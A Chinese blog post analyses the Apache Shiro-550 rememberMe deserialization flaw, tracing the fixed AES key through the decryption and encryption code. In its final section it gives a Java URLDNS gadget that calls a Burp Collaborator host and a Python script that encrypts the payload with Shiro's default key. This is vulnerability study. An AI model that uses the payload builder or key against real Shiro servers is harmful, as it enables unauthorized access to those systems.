【Java反序列化】Shiro-550漏洞分析笔记

news2024/9/23 7:26:33

目录

前言

一、漏洞原理

二、Shiro环境搭建

三、Shiro-550漏洞分析

解密分析

加密分析

四、URLDNS 链


前言

shiro-550反序列化漏洞大约在2016年就被披露了,在上学时期也分析过,最近在学CC链时有用到这个漏洞,重新分析下并做个笔记,也算是温故而知新了。

一、漏洞原理

Shiro<=1.2.4版本时,Shiro利用Cookie中的remeberMe去记住用户信息,其中remeberMe的生成会经过序列化-->AES加密-->Base64加密的过程,接收后会进行Base64解密-->AES解密-->反序列化进行验证身份信息。漏洞点在于AES加密为对称加密,而加密时利用的key为固定值,这就导致,我们可以生成一条恶意的payload,进而达到RCE的目的。

二、Shiro环境搭建

在IDEA创建个mvn项目,将github上面的项目导入到本地。

git clone https://github.com/apache/shiro.git

cd shiro

git checkout shiro-root-1.2.4

编辑shiro/samples/web目录下的pom.xml,添加jstl的版本为1.2

设置好Tomcat,运行就可以了。

三、Shiro-550漏洞分析

解密分析

已知,漏洞点出在Cookie:remeberMe字段中,全局搜索含有Cookie的类,其中CookieRemeberMeManager最符合漏洞信息。

其中getRememberedSerializedIdentity,看名字就能猜到为获取RememberMe序列化的认证信息。

该方法,首先判断是否为HTTP请求,如果为HTTP请求,则获取remeberMe的值,接着判断是否为deleteMe,不是则判断是否符合Base64的编码长度,然后对其Base64解码,并将解码结果返回。

跟进函数看一下,谁调用了getRememberedSerializedIdentity() 这个方法。

在getRememberedPrincipals方法中的convertBytesToPrincipals,从字面意思就能理解,转换字节为认证信息

跟进convertBytesToPrincipals方法

可以看出很明确做了两件事情,先使用decrypt进行解密,再利用deserialize进行反序列化

跟进decrypt方法

跟进getDecryptionCipherKey

跟进decryptionCipherKey

decryptionCipherKey为常量

看谁给decryptionCipherKey赋值

看谁调用了setCipherKey

查看该常量

该常量为key,也就是Shiro-550反序列化漏洞的关键点

然后再看下deserialize方法

看下谁调用了deserialize()这个接口方法

调用了readObject(),即反序列化漏洞的触发点。

加密分析

在 AbstractRememberMeManager 类的 onSuccessfulLogin 方法处打上断点,然后输入用户名密码进行登录,程序会运行到断点处停止。

if (isRememberMe(token))会判断用户是否勾选RememberMe

进入rememberIdentity() 方法

进入rememberIdentity

进入 convertPrincipalsToBytes() 方法,与解密分析中convertBytesToPrincipals() 方法相反

很明显的看出convertPrincipalsToBytes() 方法是对字段进行序列化操作,然后进行加密

进入getSerializer().serialize(principals) 方法

可以看到这里进行正常的序列化操作

再分析加密操作

进入encrypt方法

与解密类似,在getEncryptionCipherKey()获取密钥常量

跟进getEncryptionCipherKey()

接下来分析rememberSerializedIdentity

首先就是判断是否为HTTP请求

对序列化和AES加密后的内容进行Base64编码

整个加密流程分析完毕

四、URLDNS 链

通过漏洞原理可以知道,构造 Payload 需要将利用链通过 AES 加密后在 Base64 编码。将 Payload 的值设置为 rememberMe 的 cookie 值 。

找到网上写好的 URLDNS 链 进行构造

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNSEXP {
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        // 这里不要发起请求
        URL url = new URL("http://wlliprn8otqa42ej7qo4ihorpiv8jx.burpcollaborator.net");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        serialize(hashmap);
        //unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

将序列化得到的 ser.bin 放到之前写好的 python 脚本去进行AES加密和Base64编码

# -*-* coding:utf-8

from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
 with open(filename, 'rb') as f:
  data = f.read()
 return data

def aes_enc(data):
 BS = AES.block_size
 pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
 key = "kPH+bIxk5D2deZiIxcaaaA=="
 mode = AES.MODE_CBC
 iv = uuid.uuid4().bytes
 encryptor = AES.new(base64.b64decode(key), mode, iv)
 ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
 return ciphertext

def aes_dec(enc_data):
 enc_data = base64.b64decode(enc_data)
 unpad = lambda s: s[:-s[-1]]
 key = "kPH+bIxk5D2deZiIxcaaaA=="
 mode = AES.MODE_CBC
 iv = enc_data[:16]
 encryptor = AES.new(base64.b64decode(key), mode, iv)
 plaintext = encryptor.decrypt(enc_data[16:])
 plaintext = unpad(plaintext)
 return plaintext

if __name__ == "__main__":
 data = get_file_data("ser.bin")
 print(aes_enc(data))

获取的内容即为POC

使用Burp开启一个监听

将POC复制到RemeberMe字段上,且不包含JSESSIONID字段。当存在JSESSIONID字段时,RemeberMe字段不会被获取进行反序列化。

Burp收到请求,证明我们的Java反序列化漏洞利用成功。

Java反序列化漏洞的本意还是想要去执行RCE,网上有很多shiro的CC1链和CB1链攻击的POC,这里就不再复制粘贴了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1421207.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

basicPython-1

元组 """ 目录: 1.创建元组 2.元组的拼接 3.元组的解压赋值 4.元组的切片 5.元组的元素的索引 6.元组的嵌套 7.统计某个元素的个数 """"""创建元组(元组不可变)""" # 1.强制:tuple() # 2.普通 tuple_0 (1,) tup…

无人机路径优化(八):五种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划(提供MATLAB代码)

一、五种算法&#xff08;DBO、LO、SWO、COA、GRO&#xff09;简介 1、蜣螂优化算法DBO 蜣螂优化算法&#xff08;Dung beetle optimizer&#xff0c;DBO&#xff09;由Jiankai Xue和Bo Shen于2022年提出&#xff0c;该算法主要受蜣螂的滚球、跳舞、觅食、偷窃和繁殖行为的启发…

抵御.360勒索病毒威胁:解密文件的有效方法与预防措施

导言&#xff1a; 近来&#xff0c;网络犯罪的一种新型形式——.360勒索病毒&#xff0c;备受关注。这种病毒通过加密用户文件&#xff0c;要求支付赎金以获取解密密钥。本文91数据恢复将深入介绍.360勒索病毒的特点&#xff0c;同时提供一些有效的恢复方法&#xff0c;并分享…

沁恒微WCH32V003定时器中断

最近在做一个项目&#xff0c;用到的主控芯片是沁恒微的WCH32v003&#xff0c;其中一个功能是定时器中断&#xff0c;在编写代码的时候想找官方的库函数文件&#xff0c;但是找了很久都没有找到&#xff0c;官网只有一个数据手册和应用手册&#xff0c;而应用手册一般是分为库函…

ai写作软件都有哪些?分享4个好用的!

ai写作软件都有哪些&#xff1f;分享4个好用的&#xff01; 随着人工智能技术的不断发展&#xff0c;AI写作软件逐渐崭露头角&#xff0c;成为了自媒体、内容创作者以及各行各业专业人士的得力助手。这些软件不仅能够提供高效的内容生成&#xff0c;还可以帮助用户优化文章结构…

FineReport使用总结

1、保留上次的查询条件 可以利用LocalStorage和SessionStorage来实现需求 我使用的是LocalStorage。 FineReport 版本是 10.0.0 首先我实在点击查询按钮时&#xff0c;把对应的查询条件放入LocalStorage。 设置初始化事件 var textEditor0 this.options.form.getWidgetByN…

再学css

盒模型 有两种&#xff0c; IE盒子模型、W3C盒子模型&#xff1b;盒模型&#xff1a; 内容(content)、填充(padding)、边界(margin)、 边框(border)&#xff1b;区 别&#xff1a; IE的content部分把 border 和 padding计算了进去; 标准盒子模型的模型图 从上图可以看到&#x…

操作系统A-第四和五章(存储器)作业解析

目录 1、在请求分页系统中&#xff0c;某用户程序的逻辑地址空间为 16 页&#xff0c;每页 1KB&#xff0c;分配的内存空间为 8KB。假定某时刻该用户的页表如下表所示。 试问&#xff1a;(1)逻辑地址 184BH 对应的物理地址是多少&#xff1f;&#xff08;用十六进制表示&…

用友GRP-U8 forgetPassword_old.jsp SQL注入漏洞(QVD-2023-31085)

0x01 产品简介 用友GRP-U8R10行政事业内控管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。 0x02 漏洞概述 用友GRP-U8R10行政事业内控管理软件 forgetPassword_old.jsp接口处存在SQL注入漏…

Makefile编译原理 makefile中的include关键字

一.makefile中的include关键字 类似C语言中的include 将其他文件的内容原封不动的搬入当前文件 make对include关键字的处理方式&#xff1a; 在当前目录搜索或指定目录搜索目标文件 搜索成功&#xff1a;将文件内容搬入当前makefile中 搜索失败&#xff1a;产生警告&…

网络安全防御保护 Day2

开启管理口WEB登录服务 Cloud配置如下 为管理口配置ip 查看防火墙接口配置 使用https://192.168.20.3&#xff08;管理口ip&#xff09;:8443登录上防火墙 进入网络界面修改配置 划分vlan vlan20和vlan30也一样&#xff0c;把ip换成10.0.1.1/24和10.0.1.2/24即可 别忘了改变端口…

MySQL运维实战(5.1) 字符和编码的基本概念

作者&#xff1a;俊达 字符和编码 字符 字符是符号&#xff0c;是人们用于交流的各类符号&#xff0c;如26个英文字母、汉字、标点符号、数学运算符、其他语言的字母和符号。 编码 编码是计算机中以二进制方式存储字符的方式。每个字符都有一个对应的编码值&#xff0c;计算机…

[设计模式Java实现附plantuml源码~结构型]对象的间接访问——代理模式

前言&#xff1a; 为什么之前写过Golang 版的设计模式&#xff0c;还在重新写Java 版&#xff1f; 答&#xff1a;因为对于我而言&#xff0c;当然也希望对正在学习的大伙有帮助。Java作为一门纯面向对象的语言&#xff0c;更适合用于学习设计模式。 为什么类图要附上uml 因为很…

GNSS定位技术总结与PPP定位技术

1.统一观测值方程 2.PPP方程构建 站间单差方程如下&#xff1a; 同样的&#xff0c;设计矩阵也更加庞大&#xff1a; 站间单差消除了卫星轨道、卫星钟、电离层、对流层以及卫星端的伪距和载波硬件延迟的影响。但在PPP中&#xff0c;我们无法通过站间单差消除这些影响&#xff…

学习使用Flask模拟接口进行测试

前言 学习使用一个新工具&#xff0c;首先找一段代码学习一下&#xff0c;基本掌握用法&#xff0c;然后再考虑每一部分是做什么的 Flask的初始化 app Flask(__name__)&#xff1a;初始化&#xff0c;创建一个该类的实例&#xff0c;第一个参数是应用模块或者包的名称 app…

Vertica单点更改服务器ip

需求 服务器网段调整&#xff0c;将ip&#xff1a;192.168.40.190收回&#xff0c;使用ip&#xff1a;192.168.40.200 默认情况下&#xff0c;节点 IP 地址和导出 IP 地址配置相同的 IP 地址。导出地址是网络上有权访问其他 DBMS 系统的节点的 IP 地址。使用导出地址从 DBMS …

elk之安装和简单配置

写在前面 本文看下elk的安装和简单配置&#xff0c;安装我们会尝试通过不同的方式来完成&#xff0c;也会介绍如何使用docker&#xff0c;docker-compose安装。 1&#xff1a;安装es 1.1&#xff1a;安装单实例 下载es安装包 在这里 下载&#xff0c;下载后解压到某个目录…

KubeSphere 核心实战之四【在kubesphere平台上部署Ruoyi-cloud项目】(实操篇 4/4)

**《KubeSphere 核心实战系列》** KubeSphere 核心实战之一&#xff08;实操篇 1/4&#xff09; KubeSphere 核心实战之二&#xff08;实操篇 2/4&#xff09; KubeSphere 核心实战之三&#xff08;实操篇 3/4&#xff09; KubeSphere 核心实战之四&#xff08;实操篇 4/4&…

Chiplet,汽车“芯”风向

异构集成、高速互联、算力灵活可扩展正在成为新一轮汽车芯片竞争的焦点。尤其是随着以ChatGPT为代表的大数据、大模型产品在车端的落地&#xff0c;对于芯片的要求还在持续提升。 本周&#xff0c;12家日本汽车制造商&#xff08;包括丰田、日产、本田等&#xff09;、零部件制…

数据结构之单链表详解

前言 之前大摆了5天多&#xff0c;没怎么学编程&#xff0c;自昨日起&#xff0c;觉不可如此&#xff0c;痛定思痛&#xff0c;开始继续学习&#xff0c;昨天刷了20多道简单级别的力扣&#xff0c;今天想把链表好好巩固一下&#xff0c;于是乎&#xff0c;把单链表的增删查改搞…